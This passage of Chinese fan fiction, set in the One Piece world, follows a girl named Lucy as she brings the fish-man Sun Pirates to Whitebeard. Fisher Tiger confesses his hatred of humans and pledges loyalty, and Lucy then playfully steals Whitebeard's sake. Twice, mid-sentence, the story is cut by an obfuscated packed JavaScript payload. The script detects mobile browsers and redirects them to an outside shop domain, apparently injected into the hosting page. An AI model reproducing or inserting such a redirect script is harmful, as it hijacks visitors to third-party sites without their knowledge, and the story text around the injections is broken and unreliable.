甚平一向对孩子苦手,那种干净的全然相信他的目光令他伪装起来的冷酷毫无用武之地。他不太自然地挠了挠头,最终干巴巴的憋出一句:“这里不是你一个孩子该来的地方。如果你是意外来到鱼人岛,可以去WATER ROAD附近找工匠,搭船回地面。” “WATER ROAD?” 甚平抬手给女孩指了个方向。 “喂甚平,你干嘛对人类这么友好!”阿龙眼尖地瞥见甚平背叛的行为,一把推开船员。 甚平皱眉:“阿龙,泰格大哥说了不要伤害人类,况且她只是个孩子。” “泰格大哥说了不伤害她,没说让你帮她——” “阿龙,你非要和在下过不去吗?” “你是不是忘了你是鱼人!” 露西看着两个鱼人吵了起来,互相揪住彼此的衣领怒目圆瞪。一旁的船员们连忙上去拉他们的衣服,试图将两人分开。孩子看着甚平,又看向泰格。虽然泰格是那个说出“不要无端伤害人类”的鱼人,但露西看着他,觉得从他身边传过来的水流是那么冰冷、刺骨、悲伤,和甚平一点也不一样。 那个脾气不太好,甚至直接表达过不喜欢自己的蓝色鱼人,他的水流反而是这群人中最温暖的,湍急但拐着弯让自己降速不伤到他人。 露西相信自己的判断。 这个叫甚平的人,很好啊! 小八用手将甚平和阿龙分开,累得一屁股坐在地上。阿龙甩开船员,抱怨着转身不去看甚平。甚平从鼻子里发出一声冷哼,理了理衣襟,径直朝露西走来。他掏出一枚奇怪的金币递给低处的女孩。 “带着这个去找工匠,让他们帮你看船,看在钱的面子上,他们会帮忙的。” 露西抬手接过那枚金币,眨了眨眼。 她的目光从甚平不算友好的脸上滑过,圆圆的眼睛对上她的视线,眉头还是会蹙起,散发着不要靠近的抗拒。 她突然露出一个笑容,跳下船只残骸,越过甚平往海之森里走去。 那不是WATER ROAD的方向。 阿龙不屑地哼了一声:“瞧瞧,她根本就不领你的情!我都说了直接弄死她丢出鱼人岛就好!这种小鬼肯定是偷渡犯,为了钱来的……” “阿龙!” “阿龙大哥你少说两句吧……” 嚓。 被议论的主人公露西突然停下脚步,扭头看向他们。 “你们不过来吗?” 几乎再度爆发争吵的太阳海贼团的众人动作一顿,愣在原地。 露西长叹一口气,像是在看一群不太聪明的家伙。孩子的视线移到甚平脸上,扬起一个十分灿烂的笑容:“虽然你不愿意和我交换名字,但你给了我一块金币,所以,我还是会带你去找他。” 莫名其妙的话,船员们齐齐朝甚平看去。甚平眼皮一跳,一种不太好的预感浮上心头。他犹豫着开口:“你说的他,是?” 露西笑了。 “我的老爹,白胡子。” 空气在这一刻凝固。啪,升起的泡泡陡然破裂,阿龙的冷笑僵在脸上,不敢相信自己听到什么。船员们仿佛被人掐住脖子,张着嘴巴一句话也说不出。 “你,你说你的老爹是——” 露西转身,脸上挂着温和礼貌的微笑。她提起不存在的裙摆,微微屈膝。阳光拂过她的金发,女孩垂首,眼神里流淌着平静却不容冒犯的光芒。 她松开双手起身,刹那间,无数鱼群从残骸中同时冲出,仿佛五彩的绸缎展开、垂落。鳞片反射的光点浮动在孩子稚嫩的脸上,千变万化,转瞬即逝,如同满世彩绘一闪而过。而她,正如披着圣光、持着长剑的裁决天使,悄然现出真身。 “太阳海贼团的诸位,我是白胡子海贼团的见习船员,露西。” “请跟我来吧,我的船长等你们很久了。” 27.立威 轰! 鱼人们脑中炸开一声惊雷。 他们是为了见白胡子才来的海之森。 也就是说,他们刚刚差点……杀了白胡子的女儿?! 说完这句话后,露西再次迈步,但太阳海贼团的众人却愣在原地不敢向前了。 白胡子。 阿龙瞬间吓出一身冷汗,整个人陷入恐慌之中。白胡子第一次来到鱼人岛的画面不受控制地涌上来。 鱼人岛上炮火纷飞,哭喊漫天,他们挥舞着残刃和人类拼杀在一起,却怎么也杀不完。人类一刀砍在他的后背,阿龙踉跄倒地,一张渔网罩住了他。 该死的人类! 就在这时,白胡子的船撞上了鱼人岛。 不是比喻,是真的撞上鱼人岛!船毫发无损,所有人却跪倒在地。 披着白金色披风的男人一步踏上岛屿,紧接着,一道银光割断世界。 逃窜的海贼、人贩子,全都斩成两段! 【从今天起,鱼人岛就是我的地盘了!】 阿龙愣愣地看着白胡子,一步也不敢动弹。 白胡子就站在那儿,提着刀,所有人类都闻风丧胆落荒而逃。他的手下踩着人贩子的尸体聊天,海贼船在烈火中断裂,鲜血染红了整个南方。 居民们放声大哭,甚平眼中流露出震惊而钦佩的光。 只有阿龙。 阿龙仰望那个背影,心里升起无尽的——恐惧。 这个人类比鱼人强大。 直到现在,他重新听见这个名字,深埋在灵魂深处的惊惧仍然会再度归来,令他牙齿颤栗。 他差点杀了白胡子的女儿。 如果这个人类和白胡子告状,白胡子一定会杀了他的! 想到这儿,他的腿像灌了铅,一步也迈不动了。 太阳海贼团的成员们僵在原地,瑟缩着,犹豫着,担心着刚才发生的一切。只有泰格,他无所畏惧又毫不在意地跟了上去。 阿龙回过神来。 “大、大哥……”他的声音抖得自己都认不出来。 泰格停下脚步,转身,告诉他们:“敢做不敢当吗?都给我跟上来!” 一语惊醒梦中人。 船员们对视一眼,甚平第一个抬腿跟了过去。 露西哼着歌,脚步轻快地在前面领头,对太阳海贼团内心的震撼与担忧一无所知。孩子只知道自己顺利完成了任务,还找到一个特别喜欢的家伙。 等老爹和他们聊完天,我一定要问到他的名字! 如果他愿意做我的星灵就好了……女孩期待地想。可是——她已经有一个阿葵亚了。 露西开始为难,却不愿意放手。 道路逐渐开阔,沙土边缘出现白胡子海贼团的身影。他们或站或坐,有的在打呵欠,有的磨着刀,有的聚在一起喝酒。比斯塔注意到她,笑着抬了抬下巴示意众人:“露西回来了。” “露西回来了?!” 懒洋洋的海贼们瞬间有了精神,一个翻身爬起来,朝着女孩芝麻大点的身影用力挥手。 “露西!” 露西连忙抬手回应:“露西在这!” 她小跑到比斯塔身前,一脸严肃地汇报:“比斯塔,我把太阳海贼团带来了。” 女孩重重点头,像个士兵那样完成交接,眼睛里闪烁着藏不住的得意。 海贼们这才注意到她的身后跟着一群面如土色的鱼人。 “哦,这就是——”太阳海贼团? 不是说他们都是最凶狠的鱼人吗? 海贼们的话断在喉咙里,面面相觑。 “露西,真有你的啊!” 这可不是海面上,没有莫比迪克号停在女孩身后撑腰,她一个人面对凶恶的海贼,竟然毫发无损地将他们带回来了? 真厉害啊! “哼哼哼。”女孩挥舞着小拳头击打哥哥的腹部,“因为露西是马尔科亲封的见习船员,继承了他的名字。” “噗。”海贼们没忍住笑了,连忙抿着嘴伸手去捂。 “露西,你知道见习船员是什么意思吗?” 露西露出睿智而不屑的眼神:“当然啦。露西以后会接过马尔科的位置,成为老爹最信任的儿子,到时候,你们全——都要听我的。” 莫比迪克号上将迎来一根胡萝卜也没有的光明未来! 【不,不是,哪里都不对啊。】海贼们默默吐槽。 他们重重叹了口气,怜爱地盘了盘孩子的脑瓜,让她去一边玩。 露西被比斯塔喊走了,这些家伙才猛地转身凑在一起:“我还以为他们肯定会对露西出手呢!之前碰见的家伙不都是这么干的吗?” 所以每一次,他们都把人杀了。 他们又散开,声音里带着几分调侃,放声大笑:“没想到海贼也有好人啊!” “说什么呢,收留露西的我们难道不是好人吗?” “少往脸上贴金了!露西是为了马尔科队长留下的,和你有什么关系?” 海贼们毫不避讳地大笑起来。 “喂,太阳海贼团没欺负人,输了的人给钱啊。” 其他人切了一声,极不情愿地掏出贝利扔过去。 露西听着他们的谈话,气得两只眼睛都要眯成一条缝了。她抱着胸,学着哈尔塔的模样一只脚不停点地。 坏人!用露西打赌的坏人! “比斯塔队长,你的钱!” 一袋贝利抛向男人,比斯塔抬手接住,一旁的拉克约也被扔了一袋。 生闷气中的露西震惊扭头。 比斯塔,你是这样的比斯塔? 男人摸了摸自己的胡子,一脸心安理得:“我相信露西的实力。” 孩子瞬间不气了,捧着脸笑起来:“真的吗?你那么相信我?” “当然,你可是老爹的女儿。我们不可能让外人欺负到你。” 露西没有听出男人话中的深意,她将甚平送给自己的金币取出递给比斯塔:“比斯塔,这个——” 她还没有解释,比斯塔就直接接上了:“甚平给你金币你就收着。之前是我们疏忽了,结束后我们去WATER ROAD,让那里的工匠给你打一个小车玩。” “是啊。”拉克约笑着喝了口酒,像是不经意提起,“省的你又乱走,被当成偷渡客推下鱼人岛,对吧?” 他们明明笑着,语气也并不严肃,但每说一句,阿龙后背就爬上一阵寒意。那股寒意像刀一样一寸寸割开他的皮肉,融进他的骨血,他的心脏失控地乱跳,浑身肌肉紧绷到开始痉挛,视线却根本移动不了。 海贼们的调笑声像魔咒回荡在耳边。 他们知道他说了什么……为什么?为什么!距离那么远,他们是怎么做到的?! 该死的,这是警告吧?这一定是警告!! 阿龙厌恶人类,却不得不承认,白胡子海贼团深不可测。他心中的恐惧远超过那份厌恶。 就在他慌乱地产生要不就这样逃走的念头时,乔兹走了过来。 “各位,老爹要见你们,跟我来。” 逃跑的念头被无情掐断。 乔兹带着一群人往海之森的深处走去。穿过重重叠叠的珊瑚森林,贝壳沉积的沙土路尽头,红色的鱼群像海鸟一般打着转滑过低处的水波。鲸鱼游曳的鸣声投下一道巨人的影子,深蓝的海浪被推开,太阳海贼团终于见到那个男人。 白胡子,爱德华·纽盖特。 阳树夏娃的日光几乎被他遮蔽,他是顶天的巨人。他独自一人坐在地上,白色的披风和他们第一次见面时一样整洁。酒水晃荡,白胡子高高举起酒壶,仰头,露出那道标志性的月牙形胡子。咕咚,咕咚,酒液化作每一块肌肉下流淌的力量。 如果说之前的海贼带来的是隐隐的威胁感,面前这个人就是整片红土大陆。阿龙站在他的面前看到自己的渺小,却连反抗的心也生不出,因为这个对手的强大早已超出了一切语言可以编织的词汇,超出他的认知,仅仅是余威就让他不敢直视。 泰格的神色变得有些凝重,红色鱼人上前一步,果断将同伴们挡在身后,抬头正色道:“我就是太阳海贼团的船长,费舍尔·泰格。” “费舍尔·泰格。”白胡子重复了一遍他的名字,“这是我们第一次见面。” 他的语气并不尖锐,而是平静,就像在拉家常。 “你身后的是你的船员?” 泰格还没有回答,白胡子的视线越过他移到那个蓝色的鱼人身上。甚平 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17173196|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 和他对上,上前一步,恭敬道:“白胡子船长,好久不见。” “咕啦啦啦。”白胡子笑了起来,他的笑声几乎令鱼人们灵魂震颤,下意识握紧武器,以为他要发动攻击。 “甚平,你从海王军出来了。” “是的。”甚平如实回答,“在下决定跟随泰格大哥一起出海。” 白胡子扫了一眼他胸口正中的纹身,对甚平的决定不做评价。比起这个,他倒是对另一件事情更加感兴趣。 “你见过我的女儿了。你觉得,她怎么样?” 肯定的语气,像一个普通父亲那样询问甚平的看法。 太阳海贼团齐齐一震,阿龙几乎汗如雨注。 甚平没有惊慌,蓝色鱼人不卑不亢地回答:“她是一位很有礼貌的小姐……抱歉,在下没有第一时间认出她的身份。” “哼哼,有礼貌吗……”听到这个评价,白胡子脸上露出一点果然如此的神情,带着点不爽,又藏着点骄傲。 “确实是她,所以才能骗出那些海贼的真实嘴脸。” 男人语气淡淡地投下一颗炸弹。 阿龙的心几乎跳到嗓子眼。 这可是白胡子,海上最强的男人。该死的,他在想什么呢,白胡子怎么可能不知道刚才发生什么! 一瞬间,他的气势消失了,像一条等死的鱼躺在干涸的水池边等待审判。 然而出乎意料的,白胡子没有追究阿龙的意思,而是继续问甚平:“实力呢?” 泰格心跳漏了一拍,拳头微微握紧,替甚平捏了把汗。他并没有和白胡子打过交道,所有信息都来自大海对这个男人的传闻。 他想要替甚平开口,可他刚生出这个念头,白胡子就像提前知晓一样瞥了他一眼。 只是一眼。 泰格握紧的拳头松开了。他沉默地绷紧双肩。 泰格冷静下来,深吸一口气。 白胡子想听到的是哪种答案? ——肯定是表扬啊甚平大哥! 小八恨不得将自己的心里话直接灌进甚平耳朵里。 ——谁会想听别人说自己的船员不好! 阿龙看着甚平陷入沉默,心急如焚:甚平,你可别犯糊涂!这是白胡子! 鱼人们紧张而期待地看向甚平。 【夸她,快夸她……】 “抱歉啊,白胡子船长。”甚平开口道。 熟悉的开场,太阳海贼团心里齐齐一跳。 “虽然在下很想夸赞,但令媛——太弱了!” “……” 【他说出来了,他说出来了啊!他用了弱这个字!甚平——!】 船员们一脸绝望。 白胡子的脸色在阴影下显得晦暗不明,声音分不出喜怒。 “你认为我的女儿……很弱?” 空气凝固了。 乔兹看了甚平一眼,太阳海贼团的船员全都屏住呼吸。小八根本不敢动,他的八条手都僵住了,心里不断哀嚎。 该死的甚平,你撒个谎又怎样!阿龙急得双手都在颤抖。他偷偷瞄了乔兹一眼,根本不觉得打起来自己能从这个大块头手里逃脱。 甚平沉默了一会,抬头,坚定道:“是!” 太阳海贼团全体闭眼,小八两眼一翻,直接倒下去被阿拉丁扶住。 一秒。两秒。 “咕啦啦啦!” 几秒后,白胡子的笑声打破了寂静。 他笑了很久,放下酒壶看向始终脸色不变的泰格,眼中带着一丝欣赏:“坐吧。” 鱼人们愣住了。 白胡子眼中流露出一点笑意,侧头看向乔兹:“乔兹,你觉得呢?” 自始至终都没有出声的乔兹声音温吞地开口:“我?” 男人挠了挠头:“我以为泰格建立海贼团是想要借老爹的名号搞事……” 白胡子哼哼两声,乔兹不好意思地低头,继续道:“好吧,其实,我没想到鱼人里也有这样骨气和心性的家伙。老爹,能收服甚平这样的鱼人追随自己,我相信泰格的品性绝不是报纸上写的那样荒唐暴虐。” 白胡子满意地点头。 太阳海贼团的第一关算是过了。现在,他们有资格坐下来和老爹好好聊聊了。 28.人类 泰格率先坐下,然后是甚平,他坐下后,其他鱼人犹疑地对视一眼跟在两人身后落座。乔兹的目光扫过那些战战兢兢的鱼人,落在阿龙身上。 阿龙。 老爹刚才的行为除了立威,也是在给露西出气,因为这个叫阿龙的侮辱了她。 侮辱她就是侮辱白胡子海贼团。 乔兹挠了挠脸,想起刚才自己用见闻色看到的场景。瘦瘦小小的女孩面对鱼人一脸镇定,如果甚平没有出手,泰格没有打断,乔兹真的想知道她会怎么做?她看起来完全就是胸有成竹。 “乔兹。” 乔兹回过神。 白胡子给了他一个眼神,乔兹点头,走过去和太阳海贼团的船员们聊起天。比斯塔等人此刻也慢悠悠晃了过来,他们个个能言善辩,没一会就和鱼人们熟络起来。 白胡子将酒桶放在泰格和甚平面前,自己倒了一杯满上。甚平谢过款待,为船长和自己也倒了一杯。三人围成一圈,白胡子端起酒杯和他们相碰,一饮而尽。 泰格沉默地喝着酒,身上各处伤疤的钝痛无时无刻不在折磨他,但他的脊背一刻也没有弯过。泰格放下酒杯,看着面前这位拯救了鱼人岛的英雄,他微微颔首示意。 “白胡子船长,我真的很感谢你对鱼人岛的庇护。” 可是…… 白胡子看了他一眼:“想说什么就说吧,无需多虑。” 白胡子越是坦荡,泰格就越觉得难以启齿。他握紧的拳头微微发抖,手臂上青筋一根根爆出。 他真心想和白胡子交谈,他多么希望能和他畅饮,可是…… 可是经历了玛丽乔亚那样的噩梦后,他做不到对人类友善了。 泰格闭了闭眼。 他一直告诉鱼人们,不要无端伤害人类,要放下仇恨,追寻自由,可他自己早就被那段耻辱破败的过去困住了。他解放了数千名奴隶,却解放不了自己。 “白胡子,我不想骗你。” 泰格抬起头,第一次完全地展现自己的心情。眼底的平静被更深处的熊熊烈焰焚烧殆尽,白胡子注视着那对眼睛,毫不意外地看到翻涌的仇恨。 “看着你的时候,我没有一刻不想将刀捅进你的胸膛。”泰格的声音平稳得发抖。 “你那些欢笑的船员,我只觉得他们恶心。他们踩在我们的土地上,他们的手里攥着我同胞的命……” 即使心里清楚白胡子海贼团是不同的,泰格却控制不住自己恨他们。他原来有多么向往和推崇与人类和平共处,现在就有多么一视同仁地憎恨每一个人类。这一切都是因为玛丽乔亚! 他的心被玛丽乔亚的三年彻底毁掉了。 他的灵魂撕裂成两半,一半痛恨人类,一半痛恨自己。 说完这句话后,泰格像是用尽全部力气,低头扼制住自己的呼吸。额头爆出青筋,汗水一颗颗淌下,天龙人大笑的面孔在一片血红中化作鬼面,尖啸与长鞭伴随着破碎的记忆令他近乎错乱。心底的暴虐再度翻涌而来,他差点将酒杯砸碎一拳轰在地上。 “泰格大哥!”甚平急匆匆放下酒杯扶他。 泰格一拳砸在地面。 轰! 酒杯翻倒,酒水溅开沉进沙土里,这个被整座岛屿视为英雄的鱼人领袖此刻狼狈不堪地闭紧双眼,将自己的手指一根根插进土里。 他满脸狰狞的泪水。 “抱歉,白胡子…… 我还是……做不到……我笑不出来!” 白胡子静静地看着他,发出一声长远的叹息。 甚平扶着力竭的泰格坐好,转身,面对白胡子,双拳重重砸地:“白胡子船长,在下替大哥向您道歉!请您千万不要生气!” 他低着头,嗓音里的痛苦满溢出来:“泰格大哥他,他毕竟,经历过那种事……” 甚平眼中闪过一丝压抑的不忍。 “他所承受的痛苦,即使是在下也无法感同身受……在下能做的只有为他求情。白胡子船长,您所感受到的冒犯,请让在下一人承担吧!” 他坚定地抬头看向白胡子。 他早就做好了追随泰格大哥一生的准备。错误的是世界政府,不是泰格大哥,如果为了保护大哥需要他献上自己的命——这种觉悟,甚平一早就拥有了。 白胡子看着甚平那对义无反顾的眼睛,久违的热血夹杂着年轻时的回忆涌上心头。 承诺、公义、信仰、忠诚,多么令人怀念的品质。 他放下酒杯,温和地看着对方,像是在看一个懵懂的后辈:“甚平哟,鱼人岛挂上我旗帜的那天起,你们就是我的家人了。一家人说话,算什么冒犯?” 他的视线落到泰格身上,带着一种豁达的理解:“泰格,我知道天龙人对你犯下怎样的罪,但——大海是很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17178105|193606||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 广阔的!我听说你是个冒险家,那就去航行吧!再次起航!离开鱼人岛,去四海,去新世界,你们会见到比我们,比玛丽乔亚更多,各种各样的人类。” “人类是好是坏,我没有资格替你评判,一切就交给这个真实的世界吧!” 他的声音那么深邃,那么透彻,像是包容了新世界前后四十年大大小小的风浪。 甚平愣了一会,他听到白胡子的用词,瞳孔微微颤抖,不解地问他:“白胡子船长,您就这样堂而皇之的说出他们的名字……您一点也不害怕吗?” 那可是天龙人啊。 “咕啦啦啦!”白胡子大笑着痛饮一杯,“我和天龙人打过交道,我知道那是一群怎样的畜生!你们若是因为他们对全人类敌视,我只有一句——” “他们,还没资格与我们放在一起比较!” 多么狂妄,多么振奋人心的一句话! 泰格怔怔地看着他,男人豪气万丈的声音传遍整片森林。 神的后裔在大海的儿子面前什么都不是。 泰格和甚平不由得心潮澎湃,久久不能平静。 仿佛一只手拉开了那片灰暗的迷雾,泰格的世界被惊雷劈出一道裂缝。他愣了很久,久到身边一切声音都像远去,只有那句话还在耳畔不断回响。 他的眼底难以遏制地翻上泪水。 滴答。 红色的鱼人咬紧牙关,肩膀微微颤抖。 泪水如决堤涌出,他的整张脸都湿透了。粗犷的男人胡乱擦拭眼泪,朝着这位真正的海贼鞠了一躬。 “白胡子先生,我也许永远都无法爱上人类了,但您,是费舍尔·泰格这里的例外。” 泰格抬头,眼中爆发出一种决绝的,彻底臣服的光。 “我向您保证,只要我活着一天,白胡子海贼团永远都有太阳海贼团的忠诚!我们将誓死捍卫您的一切荣耀!” “这一点,在下也一样。”甚平朗声道,“只要您有需要,无论甚平是何身份,身处何处,一定会前去帮您!” 白胡子看着他们,咕啦啦啦地笑了起来。他的眼神中带着一点柔情,就像以往看着莫比迪克号上每一个孩子那样。 他爱德华·纽盖特想要的,从来只是家人啊。 白胡子没有多说,拿起酒桶再给三人满上一杯。 这一次,他们真心实意地碰撞在一起。 29.露西的力量 拉克约见三人重新开始饮酒,长舒一口气。他们几个队长一早就察觉到三人之间的剑拔弩张,着实捏了把汗。 都知道人类与鱼人岛积怨已久,也知道鱼人族比起人鱼族对人类抱有更大的敌意,却没想到连泰格也是如此。 不,泰格经历过那样残忍的事情,不如说这种反应才是正常的吧。他还能维持平静,约束船员,甚至鼓励所有鱼人们都与人类和平相处,这份气度和自制,就算人类中也是少有。 比斯塔摸着胡子,感慨:“不愧是鱼人领袖啊。” 乔兹倒是没那么多想法,他只知道紧张的气氛消失了,矛盾也化解了,这个看上去格外老实的青年接受船员们的敬酒,看着白胡子的方向一脸崇拜。 “不愧是老爹。” 那缪尔和拉克约碰杯,眼神仍然停留在泰格身上,语气带着几分担忧:“老爹,下马威够了,别欺负他们……好歹我也是鱼人。” “那缪尔你放心吧,老爹不是那样的人!来,喝酒!”拉克约搂着他的脖子灌了一大口酒,喝得满脸烧红。 与白胡子海贼团这些精明的经历过世面的海贼相比,太阳海贼团的众人就显得太过纯良了。不到半个小时,这些鱼人就和海贼们喝开了,老底全透光,甚至手舞足蹈勾肩搭背地唱起歌,丝毫没有半点戒心。就连阿龙,海贼们夸了他几句,鱼人鼻子顶到天上去了,十分得意地抬手和海贼们碰杯,炫耀起自己的过往。 比斯塔和船员们聊着,忽然,视线里一抹金色跑过,他定睛看过去,那个瘦小的背影像一阵无人注意到的轻风从他们之间掠过,朝着两位船长的方向去了。 “怎么样,我船上的酒和鱼人岛不同吧?”白胡子笑着介绍。 泰格一饮而尽,擦擦嘴巴点头同意。 甚平好奇:“白胡子船长,这是你们自己酿的吗?” 白胡子没有急着回答,男人眼皮微抬,甚平回头,看到沙土被踩出一连串小坑。露西的双马尾在空中摇晃,孩子停在白胡子和甚平之间,抬头看向鱼人,语气轻快,难掩激动:“你好!” 甚平放下酒杯,微微颔首:“你好露西小姐,之前多有得罪。” 女孩和之前一样,完全不顾他在说什么:“我叫露西,你叫什么名字啊?” 甚平噎了一下:“在下甚平。” “甚平……”露西重复了一遍,眉眼弯弯,“很高兴认识你!甚平!” 交换名字后,他们就是朋友了。 “在下也是——” 话音未落,露西拉住对方浅绿色和服下的手指。甚平吓了一跳,差点没蹦起来,慌张地撑着地抬头去看白胡子。 “露西小姐,这……” 白胡子放声大笑:“不用管她!” 怎么可能不管啊! 甚平僵着手无处安放,女孩太轻了,像一团云,只要他愿意,随手一扯就能将手掌拉出来。可那样,这团云也会跌倒吧。 孩子的温度透过指尖传来,像一块黏糊糊的糖饼,那么小,却压得他喘不过气来。 露西感受到衣角下鱼人手指微量的温度,亮晶晶开口:“甚平,露西喜欢你!” 甚平瞳孔地震。 几秒后,他狼狈地扭头看向泰格求救:“泰格大哥——!” 泰格和白胡子碰杯,默不作声地移开头。 “你喜欢露西吗?” 甚平张了张嘴。 “你可以喜欢露西吗?因为我们已经是朋友了。” “在下……” “你是我在鱼人岛的第一个朋友,甚平,你放心,我一定会对你很好的!所以,你喜欢我吧!” 甚平不知所措的内心猛地触动了一下。 第一个朋友。 她这样的孩子竟然将自己当作朋友吗?一个鱼人朋友?他甚至不是人鱼。 “可是在下……” “甚平,我会保护你!” 毫无阴霾的,童真的话语。 甚平绷紧的肌肉慢慢松开了。他伸手,努力回想记忆中珊瑚之丘看到的人鱼们拥抱孩子的画面,试探地将粗糙的大手放到孩子后背。露西动了一下,他紧张地从孩子背脊上弹开,收紧五指。但那点滚烫的温度仿佛有形体,仍然贴着他的掌心。甚平不太自然地皱着眉,轻轻拍了她两下。 但露西的注意力已经溜到其他地方去了,她确定这个朋友不会跑掉后就松开了甚平的手指,抬头看向白胡子。 没错,露西想起来了,她还有一件事没做呢! 一件大事。 喝着酒的白胡子察觉到女孩灿烂的笑容,不知怎么眼皮一跳,一阵不太好的预感袭上心头。 “看我干什么?”他赶紧多灌喝了两口酒压惊。 露西拉了拉衣角,严肃地咳嗽一声,从怀里取出一个笔记本,翻开。白胡子顿时觉得不对,这个本子他好像在马尔科那里见过?马尔科交给露西做什么…… “露西船员,以下内容请你牢记。 老爹每天只能喝三桶酒,或者一桶相当于……什么什么的酒……如果你发现他饮酒超标,请立刻阻止,收走他手上的酒杯。” “如果老爹拒绝配合,请寻找一番队队长马尔科请求支援——这个我知道!” 她继续往下读:“如果马尔科不在,请找比斯塔或者萨奇。如果三人都不在,请找清醒状态下的哈尔塔。” 孩子声音清脆,不远处的队长们听到动静,扭头看过来。海贼们听到熟悉的名字,推了推彼此,咬着耳朵爬起来。 “请不要找以藏或乔兹,他们会惯着老爹,也不要找布拉曼克,他的果实能力可以偷藏酒水……” 孩子每说一句,白胡子就啧一声,猛灌一口酒。白胡子海贼团的人全都围了过来,津津有味地凑在一起看露西念本子上的话。露西皱着眉推开他们,重新回到阳光底下: “……我将这项艰巨的任务交给你,并衷心希望你能顺利完成。等待你归来,以上!” 小女孩终于读完,放下本子。 她转向老爹,高兴道:“那我就把你的酒收走啦!” 说着,她鞠了一躬,噔噔噔地跑过去,抬手张开双臂,示意老爹把酒樽给她。 白胡子是什么人,当然是没看见了! “老爹,老爹,我在这里!”孩子跳了跳。 白胡子扭头看向没人的地方。 露西连忙跟着他的视线转过去张开手。 白胡子将头扭了回来。 白胡子海贼团的众人噗嗤一声笑出来,连忙捂住嘴将头叠在一起,肩膀止不住地抽动。 笨蛋,这不是根本够不着嘛! 白胡子当着她的面喝了一口,嘲笑道:“马尔科让你来管我的酒?你回去告诉他,做梦!” 他连起身都用不着,还故意放慢动作,等着露西靠近的那一刻再猛地抽走酒樽拿到高处。露西的表情顿时从高兴小狗变成皱眉小狗,撇撇嘴,肩膀耷拉下来。白胡子仰头大笑。 可露西是不会放弃的。 她可是继承了马尔科名号的,大名鼎鼎的白胡子海贼团见习船员! 孩子点头给自己打气,再次跟着白胡子动起来,尽管每次都慢上半拍,但她并不会生气,而是反思起上一次失败的原因,调整策略重新再来。 白胡子耍了她三四回,旁观的海贼们一片嘘声,抱着胸开始起哄。 “哦!好可惜!”他们看着露西差一点就能够到酒樽,重重叹了口气,“就差一点了露西,千万不要放弃啊!” “我不会放弃的!”露西扭头高声道。 海贼们笑得疯狂捶地。 “哈哈哈,没错!没错!不能放弃!” “露西,加油!露西,加油!” 他们蹲在地上打节拍。 单纯的鱼人们看了看孩子,又看向白胡子海贼团,小八学着他们的样子一起加油,四对手同时拍响,阿拉丁流下一滴冷汗,总觉得哪里不对。他们真的不是在逗小孩玩吗? 露西一个前扑,白胡子将酒樽拎开,再次失败的女孩挠了挠头。她看了周围一眼,注意力又跑了,似乎瞧见什么别的东西,身体下意识继续跟上白胡子的动作,头却落后半拍才转回来。 海贼们吵得鱼群都开始乱窜,露西小跑几个来回,似乎力气用光了,只会懒懒跳一下,也不尽力。白胡子挑眉,以为她要放弃,孩子又突然来个袭击。 白胡子一把将酒杯抬起来。 想骗他,早着呢! “……” 不对!! 他突然意识到什么,露西已经拖着地上的酒壶拔腿就跑,快的没有一点预兆!白胡子忘了用见闻色,伸手去拿,露西跑到甚平身后。 空地上有一瞬沉默。 “咦咦咦?”看热闹的海贼们猛地跳起来。 露西她,她——她成功了?! “哦哦哦!”这群傻瓜激动地摇晃着彼此抱在一起,热泪盈眶,比他们自己大获全胜还要高兴。 “没想到没想到,居然是声东击西。” “老爹!您也有今天啊!” “臭小子!”白胡子气得大骂,“还不把我的酒壶抢回来!” 海贼们头摇得跟拨浪鼓似的。 “那怎么行呢老爹,我们怎么能欺负露西呢?” “就是,我们多大的人了,怎么能和小孩子过不去。” 白胡子大怒:“你们在隐射谁呢!我欺负她了吗?露西,你自己说!” 露西躲在甚平后面,探出半颗头四处张望了一下,这才开口:“对不起老爹,露西从一开始就是马尔科的人,是为了阻止你而来的!现在酒壶落在我手里,你放弃吧!” 海贼们笑得满地打滚,肚子都疼了。 “谁,谁教她说的,太好玩了——” 甚平一本正经地回头:“原来露西小姐是受马尔科所托阻止白胡子船长喝酒的吗?” 露西一脸严肃地点头。她拍了拍酒壶告诉大家:“这些明明是送给太阳海贼团的酒,老爹,你不能一个人喝。” 小八惊讶:“诶,送给我们的吗?” “怎么可能!”阿龙不屑,“一看就是那小孩撒谎。” “没 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白胡子听着哭声,脸上开始流汗,数张哭得通红的脸同时看向他,男人硬着头皮不去留意,可他们的哭声就像长了翅膀飞进自己的耳朵。片刻后,白胡子把酒樽往地上一放,重重冷哼,狼狈地起身离开。 “呜呜呜,露西,别哭了,老爹他不喝了。”海贼们一把鼻涕一把泪地安慰她。 没想到,女孩瞬间抬头,拖着酒壶一脸兴奋地招呼比斯塔:“比斯塔,快快快!我们把酒分了!” “你变脸也太快了吧!” 露西抱着酒壶往在场的人酒樽里倒,她扶不稳,酒水洒得到处都是,比斯塔连忙帮忙。她自然地爬到甚平背上,指挥比斯塔把白胡子海贼团和太阳海贼团都倒上。 那缪尔吐槽:“老爹发现我们把他的酒喝了只会更生气。” 露西指着远处泰格的酒杯示意比斯塔去倒,淡定回答:“酒在肚子里,你不说,我不说,我们都不说,他就不会知道了呀。” “问题是我们分了老爹的酒!”那缪尔说,“你不知道老爹有多么嗜酒如命!“ 露西扭头,一脸‘这个孩子真可怜’的同情:“那缪尔,你有点笨笨的诶。老爹不会生气的。“ 鱼人气笑了,刚要开口反驳,听见孩子清脆响亮的声音。 